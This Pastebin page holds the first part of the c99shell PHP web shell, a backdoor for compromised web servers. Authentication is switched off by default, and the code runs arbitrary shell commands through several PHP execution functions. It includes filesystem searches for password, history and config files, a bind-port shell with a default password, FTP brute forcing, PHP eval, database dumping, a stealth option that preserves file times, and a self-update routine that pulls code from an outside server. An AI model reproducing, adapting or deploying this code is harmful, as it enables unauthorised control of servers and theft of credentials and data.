API tools faq
paste
Huymada

c99

Huymada
May 25th, 2017
447
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 150.30 KB | None | 0 0
raw download clone embed print report
  1. <?php
  2. /*
  3. ******************************************************************************************************
  4. *
  5. *                   c99shell.php v.1.0 Shellci.Biz
  6. *                           SheLL Archive
  7. *  c99shell - Shellci.biz
  8. *
  9. ******************************************************************************************************
  10. */
  11.  
  12. //Starting calls
  13. if (!function_exists("getmicrotime")) {function getmicrotime() {list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec);}}
  14. error_reporting(5);
  15. @ignore_user_abort(true);
  16. @set_magic_quotes_runtime(0);
  17. @set_time_limit(0);
  18. $win = strtolower(substr(PHP_OS, 0, 3)) == "win";
  19. if (!@ob_get_contents()) {@ob_start(); @ob_implicit_flush(0);}
  20. define("starttime",getmicrotime());
  21. if (get_magic_quotes_gpc()) {if (!function_exists("strips")) {function strips(&$arr,$k="") {if (is_array($arr)) {foreach($arr as $k=>$v) {if (strtoupper($k) != "GLOBALS") {strips($arr["$k"]);}}} else {$arr = stripslashes($arr);}}} strips($GLOBALS);}
  22. $_REQUEST = array_merge($_COOKIE,$_GET,$_POST);
  23. foreach($_REQUEST as $k=>$v) {if (!isset($$k)) {$$k = $v;}}
  24.  
  25. $shver = "1.0 beta (21.05.2005)"; //Current version
  26. //CONFIGURATION AND SETTINGS
  27. if (!empty($unset_surl)) {setcookie("c99sh_surl"); $surl = "";}
  28. elseif (!empty($set_surl)) {$surl = $set_surl; setcookie("c99sh_surl",$surl);}
  29. else {$surl = $_REQUEST["c99sh_surl"]; //Set this cookie for manual SURL
  30. }
  31.  
  32. $surl_autofill_include = true; //If true then search variables with descriptors (URLs) and save it in SURL.
  33.  
  34. if ($surl_autofill_include and !$_REQUEST["c99sh_surl"]) {$include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) {$v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) {if (strpos($value,$needle) === 0) {$includestr .= urlencode($name)."=".urlencode($value)."&";}}} if ($_REQUEST["surl_autofill_include"]) {$includestr .= "surl_autofill_include=1&";}}
  35. if (empty($surl))
  36. {
  37.  $surl = "?".$includestr; //Self url
  38. }
  39. $surl = htmlspecialchars($surl);
  40.  
  41. $timelimit = 60; //limit of execution this script (seconds), 0 = unlimited.
  42.  
  43. //Authentication
  44.  
  45. $login = "shellci.biz"; //login
  46. //DON'T FORGOT ABOUT CHANGE PASSWORD!!!
  47. $pass = "shellci.biz"; //password
  48. $md5_pass = ""; //md5-cryped pass. if null, md5($pass)
  49.  
  50.     /*COMMENT IT FOR TURN ON AUTHENTIFICATION >>>*/ $login = false; //turn off authentification
  51.  
  52. $host_allow = array("*"); //array ("{mask}1","{mask}2",...), {mask} = IP or HOST e.g. array("192.168.0.*","127.0.0.1")
  53. $login_txt = "Restricted area"; //http-auth message.
  54. $accessdeniedmess = "<a href=\"http://ccteam.ru/releases/c99shell\">c99shell v.".$shver."</a>: access denied";
  55.  
  56. $autoupdate = false; //Automatic updating?
  57. $updatenow = false; //If true, update now
  58. $c99sh_updatefurl = "http://ccteam.ru/releases/update/c99shell/"; //Update server
  59.  
  60. $filestealth = false; //if true, don't change modify&access-time
  61.  
  62. $donated_html = "<center><b>GaRDeNFoX</b></center>";
  63.         /* If you publish free shell and you wish
  64.         add link to your site or any other information,
  65.         put here your html. */
  66. $donated_act = array(""); //array ("act1","act2,"...), if $act is in this array, display $donated_html.
  67.  
  68. $curdir = "./"; //start directory
  69. //$curdir = getenv("DOCUMENT_ROOT");
  70. $tmpdir = ""; //Directory for tempory files. If empty, auto-fill (/tmp or %WINDIR/temp)
  71. $tmpdir_log = "./"; //Directory logs of long processes (e.g. brute, scan...)
  72.  
  73. $log_email = "[email protected]"; //Default e-mail for sending logs
  74.  
  75. $sort_default = "0a"; //Default sorting, 0 - number of colomn, "a"scending or "d"escending
  76. $sort_save = true; //If true then save sorting-type.
  77.  
  78. // Registered file-types.
  79. //  array(
  80. //   "{action1}"=>array("ext1","ext2","ext3",...),
  81. //   "{action2}"=>array("ext4","ext5","ext6",...),
  82. //   ...
  83. //  )
  84. $ftypes  = array(
  85.  "html"=>array("html","htm","shtml"),
  86.  "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"),
  87.  "exe"=>array("sh","install","bat","cmd"),
  88.  "ini"=>array("ini","inf"),
  89.  "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"),
  90.  "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"),
  91.  "sdb"=>array("sdb"),
  92.  "phpsess"=>array("sess"),
  93.  "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar")
  94. );
  95.  
  96. // Registered executable file-types.
  97. //  array(
  98. //   string "command{i}"=>array("ext1","ext2","ext3",...),
  99. //   ...
  100. //  )
  101. //   {command}: %f% = filename
  102. $exeftypes  = array(
  103.  getenv("PHPRC")." %f%"=>array("php","php3","php4"),
  104. );
  105.  
  106. /* Highlighted files.
  107.   array(
  108.    i=>array({regexp},{type},{opentag},{closetag},{break})
  109.    ...
  110.   )
  111.   string {regexp} - regular exp.
  112.   int {type}:
  113.     0 - files and folders (as default),
  114.     1 - files only, 2 - folders only
  115.   string {opentag} - open html-tag, e.g. "<b>" (default)
  116.   string {closetag} - close html-tag, e.g. "</b>" (default)
  117.   bool {break} - if true and found match then break
  118. */
  119. $regxp_highlight  = array(
  120.   array(basename($_SERVER["PHP_SELF"]),1,"<font color=\"yellow\">","</font>"), // example
  121.   array("config.php",1) // example
  122. );
  123.  
  124. $safemode_diskettes = array("a"); // This variable for disabling diskett-errors.
  125.                                      // array (i=>{letter} ...); string {letter} - letter of a drive
  126.                                     // Set as false or for turn off.
  127. $hexdump_lines = 8; // lines in hex preview file
  128. $hexdump_rows = 24; // 16, 24 or 32 bytes in one line
  129.  
  130. $nixpwdperpage = 100; // Get first N lines from /etc/passwd
  131.  
  132. $bindport_pass = "c99";   // default password for binding
  133. $bindport_port = "11457"; // default port for binding
  134.  
  135. // Command-aliases
  136. if (!$win)
  137. {
  138.  $cmdaliases = array(
  139.   array("-----------------------------------------------------------", "ls -la"),
  140.   array("find all suid files", "find / -type f -perm -04000 -ls"),
  141.   array("find suid files in current dir", "find . -type f -perm -04000 -ls"),
  142.   array("find all sgid files", "find / -type f -perm -02000 -ls"),
  143.   array("find sgid files in current dir", "find . -type f -perm -02000 -ls"),
  144.   array("find config.inc.php files", "find / -type f -name config.inc.php"),
  145.   array("find config* files", "find / -type f -name \"config*\""),
  146.   array("find config* files in current dir", "find . -type f -name \"config*\""),
  147.   array("find all writable directories and files", "find / -perm -2 -ls"),
  148.   array("find all writable directories and files in current dir", "find . -perm -2 -ls"),
  149.   array("find all service.pwd files", "find / -type f -name service.pwd"),
  150.   array("find service.pwd files in current dir", "find . -type f -name service.pwd"),
  151.   array("find all .htpasswd files", "find / -type f -name .htpasswd"),
  152.   array("find .htpasswd files in current dir", "find . -type f -name .htpasswd"),
  153.   array("find all .bash_history files", "find / -type f -name .bash_history"),
  154.   array("find .bash_history files in current dir", "find . -type f -name .bash_history"),
  155.   array("find all .fetchmailrc files", "find / -type f -name .fetchmailrc"),
  156.   array("find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"),
  157.   array("list file attributes on a Linux second extended file system", "lsattr -va"),
  158.   array("show opened ports", "netstat -an | grep -i listen")
  159.  );
  160. }
  161. else
  162. {
  163.  $cmdaliases = array(
  164.   array("-----------------------------------------------------------", "dir"),
  165.   array("show opened ports", "netstat -an")
  166.  );
  167. }
  168.  
  169. $sess_cookie = "c99shvars"; // Cookie-variable name
  170.  
  171. $usefsbuff = true; //Buffer-function
  172. $copy_unset = false; //Remove copied files from buffer after pasting
  173.  
  174. //Quick launch
  175. $quicklaunch = array(
  176.  array("<img src=\"".$surl."act=img&img=home\" alt=\"Home\" height=\"20\" width=\"20\" border=\"0\">",$surl),
  177.  array("<img src=\"".$surl."act=img&img=back\" alt=\"Back\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.back(1)"),
  178.  array("<img src=\"".$surl."act=img&img=forward\" alt=\"Forward\" height=\"20\" width=\"20\" border=\"0\">","#\" onclick=\"history.go(1)"),
  179.  array("<img src=\"".$surl."act=img&img=up\" alt=\"UPDIR\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=ls&d=%upd&sort=%sort"),
  180.  array("<img src=\"".$surl."act=img&img=refresh\" alt=\"Refresh\" height=\"20\" width=\"17\" border=\"0\">",""),
  181.  array("<img src=\"".$surl."act=img&img=search\" alt=\"Search\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=search&d=%d"),
  182.  array("<img src=\"".$surl."act=img&img=buffer\" alt=\"Buffer\" height=\"20\" width=\"20\" border=\"0\">",$surl."act=fsbuff&d=%d"),
  183.  array("<b>Encoder</b>",$surl."act=encoder&d=%d"),
  184.  array("<b>Bind</b>",$surl."act=bind&d=%d"),
  185.  array("<b>Proc.</b>",$surl."act=ps_aux&d=%d"),
  186.  array("<b>FTP brute</b>",$surl."act=ftpquickbrute&d=%d"),
  187.  array("<b>Sec.</b>",$surl."act=security&d=%d"),
  188.  array("<b>SQL</b>",$surl."act=sql&d=%d"),
  189.  array("<b>PHP-code</b>",$surl."act=eval&d=%d"),
  190.  array("<b>Feedback</b>",$surl."act=feedback&d=%d"),
  191.  array("<b>Self remove</b>",$surl."act=selfremove"),
  192.  array("<b>Logout</b>","#\" onclick=\"if (confirm('Are you sure?')) window.close()")
  193. );
  194.  
  195. //Highlight-code colors
  196. $highlight_background = "#c0c0c0";
  197. $highlight_bg = "#FFFFFF";
  198. $highlight_comment = "#6A6A6A";
  199. $highlight_default = "#0000BB";
  200. $highlight_html = "#1300FF";
  201. $highlight_keyword = "#007700";
  202. $highlight_string = "#000000";
  203.  
  204. @$f = $_REQUEST["f"];
  205. @extract($_REQUEST["c99shcook"]);
  206.  
  207. //END CONFIGURATION
  208.  
  209.  
  210. //              \/  Next code isn't for editing \/
  211. $tmp = array();
  212. foreach($host_allow as $k=>$v) {$tmp[] = str_replace("\\*",".*",preg_quote($v));}
  213. $s = "!^(".implode("|",$tmp).")$!i";
  214. if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) {exit("<a href=\"http://ccteam.ru/releases/cc99shell\">c99shell</a>: Access Denied - your host (".getenv("REMOTE_ADDR").") not allow");}
  215. if ($login)
  216. {
  217.  if(empty($md5_pass)) {$md5_pass = md5($pass);}
  218.  if (($_SERVER["PHP_AUTH_USER"] != $login ) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass))
  219.  {
  220.   if ($login_txt === false) {$login_txt = "";}
  221.   elseif (empty($login_txt)) {$login_txt = strip_tags(ereg_replace("&nbsp;|<br>"," ",$donated_html));}
  222.   header("WWW-Authenticate: Basic realm=\"c99shell ".$shver.": ".$login_txt."\"");
  223.   header("HTTP/1.0 401 Unauthorized");
  224.   exit($accessdeniedmess);
  225.  }
  226. }
  227. if ($act != "img")
  228. {
  229. $lastdir = realpath(".");
  230. chdir($curdir);
  231. if (($selfwrite) or ($updatenow))
  232. {
  233.  if ($selfwrite == "1") {$selfwrite = "c99shell.php";}
  234.  c99sh_getupdate();
  235.  $data = file_get_contents($c99sh_updatefurl);
  236.  $fp = fopen($data,"w");
  237.  fwrite($fp,$data);
  238.  fclose($fp);
  239.  exit;
  240. }
  241. $sess_data = unserialize($_COOKIE["$sess_cookie"]);
  242. if (!is_array($sess_data)) {$sess_data = array();}
  243. if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();}
  244. if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();}
  245.  
  246. if (!function_exists("c99_buff_prepare"))
  247. {
  248. function c99_buff_prepare()
  249. {
  250.  global $sess_data;
  251.  global $act;
  252.  foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  253.  foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));}
  254.  $sess_data["copy"] = array_unique($sess_data["copy"]);
  255.  $sess_data["cut"] = array_unique($sess_data["cut"]);
  256.  sort($sess_data["copy"]);
  257.  sort($sess_data["cut"]);
  258.  if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}}
  259.  else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}}
  260. }
  261. }
  262. c99_buff_prepare();
  263. if (!function_exists("c99_sess_put"))
  264. {
  265. function c99_sess_put($data)
  266. {
  267.  global $sess_cookie;
  268.  global $sess_data;
  269.  c99_buff_prepare();
  270.  $sess_data = $data;
  271.  $data = serialize($data);
  272.  setcookie($sess_cookie,$data);
  273. }
  274. }
  275. if ($sort_save)
  276. {
  277.  if (!empty($sort)) {setcookie("sort",$sort);}
  278.  if (!empty($sql_sort)) {setcookie("sql_sort",$sql_sort);}
  279. }
  280. if (!function_exists("str2mini"))
  281. {
  282. function str2mini($content,$len)
  283. {
  284.  if (strlen($content) > $len)
  285.  {
  286.   $len = ceil($len/2) - 2;
  287.   return substr($content, 0, $len)."...".substr($content, -$len);
  288.  }
  289.  else {return $content;}
  290. }
  291. }
  292. if (!function_exists("view_size"))
  293. {
  294. function view_size($size)
  295. {
  296.  if (!is_numeric($size)) {return false;}
  297.  else
  298.  {
  299.   if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";}
  300.   elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";}
  301.   elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";}
  302.   else {$size = $size . " B";}
  303.   return $size;
  304.  }
  305. }
  306. }
  307. if (!function_exists("fs_copy_dir"))
  308. {
  309. function fs_copy_dir($d,$t)
  310. {
  311.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  312.  if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  313.  $h = opendir($d);
  314.  while (($o = readdir($h)) !== false)
  315.  {
  316.   if (($o != ".") and ($o != ".."))
  317.   {
  318.    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  319.    else {$ret = mkdir($t.DIRECTORY_SEPARATOR.$o); fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  320.    if (!$ret) {return $ret;}
  321.   }
  322.  }
  323.  closedir($h);
  324.  return true;
  325. }
  326. }
  327. if (!function_exists("fs_copy_obj"))
  328. {
  329. function fs_copy_obj($d,$t)
  330. {
  331.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  332.  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  333.  if (!is_dir(dirname($t))) {mkdir(dirname($t));}
  334.  if (is_dir($d))
  335.  {
  336.   if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  337.   if (substr($t,-1,1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  338.   return fs_copy_dir($d,$t);
  339.  }
  340.  elseif (is_file($d)) {return copy($d,$t);}
  341.  else {return false;}
  342. }
  343. }
  344. if (!function_exists("fs_move_dir"))
  345. {
  346. function fs_move_dir($d,$t)
  347. {
  348.  $h = opendir($d);
  349.  if (!is_dir($t)) {mkdir($t);}
  350.  while (($o = readdir($h)) !== false)
  351.  {
  352.   if (($o != ".") and ($o != ".."))
  353.   {
  354.    $ret = true;
  355.    if (!is_dir($d.DIRECTORY_SEPARATOR.$o)) {$ret = copy($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o);}
  356.    else {if (mkdir($t.DIRECTORY_SEPARATOR.$o) and fs_copy_dir($d.DIRECTORY_SEPARATOR.$o,$t.DIRECTORY_SEPARATOR.$o)) {$ret = false;}}
  357.    if (!$ret) {return $ret;}
  358.   }
  359.  }
  360.  closedir($h);
  361.  return true;
  362. }
  363. }
  364. if (!function_exists("fs_move_obj"))
  365. {
  366. function fs_move_obj($d,$t)
  367. {
  368.  $d = str_replace("\\",DIRECTORY_SEPARATOR,$d);
  369.  $t = str_replace("\\",DIRECTORY_SEPARATOR,$t);
  370.  if (is_dir($d))
  371.  {
  372.   if (substr($d,-1,1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;}
  373.   if (substr($t,-1,1) != DIRECTORY_SEPARATOR) {$t .= DIRECTORY_SEPARATOR;}
  374.   return fs_move_dir($d,$t);
  375.  }
  376.  elseif (is_file($d))
  377.  {
  378.   if(copy($d,$t)) {return unlink($d);}
  379.   else {unlink($t); return false;}
  380.  }
  381.  else {return false;}
  382. }
  383. }
  384. if (!function_exists("fs_rmdir"))
  385. {
  386. function fs_rmdir($d)
  387. {
  388.  $h = opendir($d);
  389.  while (($o = readdir($h)) !== false)
  390.  {
  391.   if (($o != ".") and ($o != ".."))
  392.   {
  393.    if (!is_dir($d.$o)) {unlink($d.$o);}
  394.    else {fs_rmdir($d.$o.DIRECTORY_SEPARATOR); rmdir($d.$o);}
  395.   }
  396.  }
  397.  closedir($h);
  398.  rmdir($d);
  399.  return !is_dir($d);
  400. }
  401. }
  402. if (!function_exists("fs_rmobj"))
  403. {
  404. function fs_rmobj($o)
  405. {
  406.  $o = str_replace("\\",DIRECTORY_SEPARATOR,$o);
  407.  if (is_dir($o))
  408.  {
  409.   if (substr($o,-1,1) != DIRECTORY_SEPARATOR) {$o .= DIRECTORY_SEPARATOR;}
  410.   return fs_rmdir($o);
  411.  }
  412.  elseif (is_file($o)) {return unlink($o);}
  413.  else {return false;}
  414. }
  415. }
  416. if (!function_exists("myshellexec"))
  417. {
  418. function myshellexec($cmd)
  419. {
  420.  $result = "";
  421.  if (!empty($cmd))
  422.  {
  423.   if (is_callable("exec")) {exec($cmd,$result); $result = join("\n",$result);}
  424.   elseif (is_callable("shell_exec")) {$result = shell_exec($cmd);}
  425.   elseif (is_callable("system")) {@ob_start(); system($cmd); $result = @ob_get_contents(); @ob_end_clean();}
  426.   elseif (is_callable("passthru")) {@ob_start(); passthru($cmd); $result = @ob_get_contents(); @ob_end_clean();}
  427.   elseif (($result = `$cmd`) !== false) {}
  428.   elseif (is_resource($fp = popen($cmd,"r")))
  429.   {
  430.    $result = "";
  431.    while(!feof($fp)) {$result .= fread($fp,1024);}
  432.    pclose($fp);
  433.   }
  434.  }
  435.  return $result;
  436. }
  437. }
  438. if (!function_exists("tabsort"))
  439. {
  440.  function tabsort($a,$b) {global $v; return strnatcmp($a[$v], $b[$v]);}
  441. }
  442. if (!function_exists("view_perms"))
  443. {
  444. function view_perms($mode)
  445. {
  446.  if (($mode & 0xC000) === 0xC000) {$type = "s";}
  447.  elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
  448.  elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
  449.  elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
  450.  elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
  451.  elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
  452.  elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
  453.  else {$type = "?";}
  454.  
  455.  $owner["read"] = ($mode & 00400) ? "r" : "-";
  456.  $owner["write"] = ($mode & 00200) ? "w" : "-";
  457.  $owner["execute"] = ($mode & 00100) ? "x" : "-";
  458.  $group["read"] = ($mode & 00040) ? "r" : "-";
  459.  $group["write"] = ($mode & 00020) ? "w" : "-";
  460.  $group["execute"] = ($mode & 00010) ? "x" : "-";
  461.  $world["read"] = ($mode & 00004) ? "r" : "-";
  462.  $world["write"] = ($mode & 00002) ? "w" : "-";
  463.  $world["execute"] = ($mode & 00001) ? "x" : "-";
  464.  
  465.  if( $mode & 0x800 ) {$owner["execute"] = ($owner["execute"] == "x") ? "s" : "S";}
  466.  if( $mode & 0x400 ) {$group["execute"] = ($group["execute"] == "x") ? "s" : "S";}
  467.  if( $mode & 0x200 ) {$world["execute"] = ($world["execute"] == "x") ? "t" : "T";}
  468.  
  469.  return $type.$owner["read"].$owner["write"].$owner["execute"].
  470.         $group["read"].$group["write"].$group["execute"].
  471.         $world["read"].$world["write"].$world["execute"];
  472. }
  473. }
  474. if (!function_exists("parse_perms"))
  475. {
  476. function parse_perms($mode)
  477. {
  478.  if (($mode & 0xC000) === 0xC000) {$t = "s";}
  479.  elseif (($mode & 0x4000) === 0x4000) {$t = "d";}
  480.  elseif (($mode & 0xA000) === 0xA000) {$t = "l";}
  481.  elseif (($mode & 0x8000) === 0x8000) {$t = "-";}
  482.  elseif (($mode & 0x6000) === 0x6000) {$t = "b";}
  483.  elseif (($mode & 0x2000) === 0x2000) {$t = "c";}
  484.  elseif (($mode & 0x1000) === 0x1000) {$t = "p";}
  485.  else {$t = "?";}
  486.  $o["r"] = ($mode & 00400) > 0; $o["w"] = ($mode & 00200) > 0; $o["x"] = ($mode & 00100) > 0;
  487.  $g["r"] = ($mode & 00040) > 0; $g["w"] = ($mode & 00020) > 0; $g["x"] = ($mode & 00010) > 0;
  488.  $w["r"] = ($mode & 00004) > 0; $w["w"] = ($mode & 00002) > 0; $w["x"] = ($mode & 00001) > 0;
  489.  return array("t"=>$t,"o"=>$o,"g"=>$g,"w"=>$w);
  490. }
  491. }
  492. if (!function_exists("view_perms_color"))
  493. {
  494. function view_perms_color($o)
  495. {
  496.  if (!is_readable($o)) {return "<font color=\"red\">".view_perms(fileperms($o))."</font>";}
  497.  elseif (!is_writable($o)) {return "<font color=\"white\">".view_perms(fileperms($o))."</font>";}
  498.  else {return "<font color=\"green\">".view_perms(fileperms($o))."</font>";}
  499. }
  500. }
  501. if (!function_exists("gchds")) {function gchds($a,$b,$c,$d="") {if ($a == $b) {return $c;} else {return $d;}}}
  502. if (!function_exists("c99sh_getupdate"))
  503. {
  504. function c99sh_getupdate()
  505. {
  506.  global $updatenow;
  507.  $data = @file_get_contents($c99sh_updatefurl."?version=".$shver."&");
  508.  if (!$data) {echo "Can't fetch update-information!";}
  509.  else
  510.  {
  511.   $data = unserialize(base64_decode($data));
  512.   if (!is_array($data)) {echo "Corrupted update-information!";}
  513.   elseif ($shver < $data["cur"]) {$updatenow = true;}
  514.  }
  515. }
  516. }
  517. if (!function_exists("mysql_dump"))
  518. {
  519. function mysql_dump($set)
  520. {
  521.  global $shver;
  522.  $sock = $set["sock"];
  523.  $db = $set["db"];
  524.  $print = $set["print"];
  525.  $nl2br = $set["nl2br"];
  526.  $file = $set["file"];
  527.  $add_drop = $set["add_drop"];
  528.  $tabs = $set["tabs"];
  529.  $onlytabs = $set["onlytabs"];
  530.  $ret = array();
  531.  $ret["err"] = array();
  532.  if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
  533.  if (empty($db)) {$db = "db";}
  534.  if (empty($print)) {$print = 0;}
  535.  if (empty($nl2br)) {$nl2br = 0;}
  536.  if (empty($add_drop)) {$add_drop = true;}
  537.  if (empty($file))
  538.  {
  539.   global $win;
  540.   if ($win) {$file = "C:\\tmp\\dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";}
  541.   else {$file = "/tmp/dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";}
  542.  }
  543.  if (!is_array($tabs)) {$tabs = array();}
  544.  if (empty($add_drop)) {$add_drop = true;}
  545.  if (sizeof($tabs) == 0)
  546.  {
  547.   // retrive tables-list
  548.   $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
  549.   if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
  550.  }
  551.  $SERVER_ADDR = getenv("SERVER_ADDR");
  552.  $SERVER_NAME = getenv("SERVER_NAME");
  553.  $out = "# Dumped by C99Shell.SQL v. ".$shver."
  554. # Home page: http://ccteam.ru
  555. #
  556. # Host settings:
  557. # MySQL version: (".mysql_get_server_info().") running on ".$SERVER_ADDR." (".$SERVER_NAME.")"."
  558. # Date: ".date("d.m.Y H:i:s")."
  559. # ".gethostbyname($SERVER_ADDR)." (".$SERVER_ADDR.")"." dump db \"".$db."\"
  560. #---------------------------------------------------------
  561. ";
  562.  $c = count($onlytabs);
  563.  foreach($tabs as $tab)
  564.  {
  565.   if ((in_array($tab,$onlytabs)) or (!$c))
  566.   {
  567.    if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
  568.    // recieve query for create table structure
  569.    $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
  570.    if (!$res) {$ret["err"][] = mysql_smarterror();}
  571.    else
  572.    {
  573.     $row = mysql_fetch_row($res);
  574.     $out .= $row["1"].";\n\n";
  575.     // recieve table variables
  576.     $res = mysql_query("SELECT * FROM `$tab`", $sock);
  577.     if (mysql_num_rows($res) > 0)
  578.     {
  579.      while ($row = mysql_fetch_assoc($res))
  580.      {
  581.       $keys = implode("`, `", array_keys($row));
  582.       $values = array_values($row);
  583.       foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
  584.       $values = implode("', '", $values);
  585.       $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
  586.       $out .= $sql;
  587.      }
  588.     }
  589.    }
  590.   }
  591.  }
  592.  $out .= "#---------------------------------------------------------------------------------\n\n";
  593.  if ($file)
  594.  {
  595.   $fp = fopen($file, "w");
  596.   if (!$fp) {$ret["err"][] = 2;}
  597.   else
  598.   {
  599.    fwrite ($fp, $out);
  600.    fclose ($fp);
  601.   }
  602.  }
  603.  if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
  604.  return $out;
  605. }
  606. }
  607. if (!function_exists("mysql_buildwhere"))
  608. {
  609. function mysql_buildwhere($array,$sep=" and",$functs=array())
  610. {
  611.  if (!is_array($array)) {$array = array();}
  612.  $result = "";
  613.  foreach($array as $k=>$v)
  614.  {
  615.   $value = "";
  616.   if (!empty($functs[$k])) {$value .= $functs[$k]."(";}
  617.   $value .= "'".addslashes($v)."'";
  618.   if (!empty($functs[$k])) {$value .= ")";}
  619.   $result .= "`".$k."` = ".$value.$sep;
  620.  }
  621.  $result = substr($result,0,strlen($result)-strlen($sep));
  622.  return $result;
  623. }
  624. }
  625. if (!function_exists("mysql_fetch_all"))
  626. {
  627. function mysql_fetch_all($query,$sock)
  628. {
  629.  if ($sock) {$result = mysql_query($query,$sock);}
  630.  else {$result = mysql_query($query);}
  631.  $array = array();
  632.  while ($row = mysql_fetch_array($result)) {$array[] = $row;}
  633.  mysql_free_result($result);
  634.  return $array;
  635. }
  636. }
  637. if (!function_exists("mysql_smarterror"))
  638. {
  639. function mysql_smarterror($type,$sock)
  640. {
  641.  if ($sock) {$error = mysql_error($sock);}
  642.  else {$error = mysql_error();}
  643.  $error = htmlspecialchars($error);
  644.  return $error;
  645. }
  646. }
  647. if (!function_exists("mysql_query_form"))
  648. {
  649. function mysql_query_form()
  650. {
  651.  global $submit,$sql_act,$sql_query,$sql_query_result,$sql_confirm,$sql_query_error,$tbl_struct;
  652.  if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";}
  653.  if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
  654.  if ((!$submit) or ($sql_act))
  655.  {
  656.   echo "<table border=0><tr><td><form action=\"".$sql_surl."\" name=\"c99sh_sqlquery\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to";} else {echo "SQL-Query";} echo ":</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td>";
  657.   if ($tbl_struct)
  658.   {
  659.    echo "<td valign=\"top\"><b>Fields:</b><br>";
  660.    foreach ($tbl_struct as $field) {$name = $field["Field"]; echo "» <a href=\"#\" onclick=\"document.c99sh_sqlquery.sql_query.value+='`".$name."`';\"><b>".$name."</b></a><br>";}
  661.    echo "</td></tr></table>";
  662.   }
  663.  }
  664.  if ($sql_query_result or (!$sql_confirm)) {$sql_query = $sql_last_query;}
  665. }
  666. }
  667. if (!function_exists("mysql_create_db"))
  668. {
  669. function mysql_create_db($db,$sock="")
  670. {
  671.  $sql = "CREATE DATABASE `".addslashes($db)."`;";
  672.  if ($sock) {return mysql_query($sql,$sock);}
  673.  else {return mysql_query($sql);}
  674. }
  675. }
  676. if (!function_exists("mysql_query_parse"))
  677. {
  678. function mysql_query_parse($query)
  679. {
  680.  $query = trim($query);
  681.  $arr = explode (" ",$query);
  682.  /*array array()
  683.  {
  684.   "METHOD"=>array(output_type),
  685.   "METHOD1"...
  686.   ...
  687.  }
  688.  if output_type == 0, no output,
  689.  if output_type == 1, no output if no error
  690.  if output_type == 2, output without control-buttons
  691.  if output_type == 3, output with control-buttons
  692.  */
